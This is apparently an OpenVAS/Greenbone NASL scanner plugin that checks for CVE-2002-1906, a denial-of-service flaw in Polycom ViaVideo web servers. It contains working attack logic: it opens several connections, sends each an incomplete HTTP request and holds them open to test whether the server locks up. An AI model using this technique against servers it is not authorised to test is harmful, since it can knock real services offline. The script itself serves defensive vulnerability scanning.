Polycom ViaVideo denial of service

# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11825");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2002-1906");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5962");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("Polycom ViaVideo denial of service");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2003 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl", "httpver.nasl", "www_multiple_get.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"The remote web server locks up when several incomplete web
  requests are sent and the connections are kept open.");

  script_tag(name:"solution", value:"Contact your vendor for a patch, upgrade your web server.");

  script_tag(name:"insight", value:"Some servers (e.g. Polycom ViaVideo) even run an endless loop,
  using much CPU on the machine. The scanner has no way to test this, but you'd better check your machine.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );
if( http_is_dead( port:port, retry:4 ) )
  exit( 0 );

# 4 is enough for Polycom ViaVideo
max = get_kb_item( "www/multiple_get/" + port );
if( max ) {
  imax = max * 2 / 3;
  if( imax < 1 ) {
    imax = 1;
  } else if( imax > 5 ) {
    imax = 5;
  }
} else {
  imax = 5;
}

n = 0;
for( i = 0; i < imax; i++ ) {
  soc[i] = http_open_socket( port );
  if( soc[i] ) {
    n ++;
    req = http_get( item:"/", port:port );
    req -= '\r\n';
    send( socket:soc[i], data:req );
  }
}

dead = 0;
if( http_is_dead( port:port, retry:1 ) )
  dead++;

for( i = 0; i < imax; i++ ) {
  if( soc[i] )
    http_close_socket( soc[i] );
}

if( http_is_dead( port:port, retry:1 ) )
  dead++;

if( dead == 2 ) {
  security_message( port:port );
  exit( 0 );
} else if( dead == 1 ) {
  report = "The remote web server locks up when several incomplete web
  requests are sent and the connections are kept open.

  However, it runs again when the connections are closed.";
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );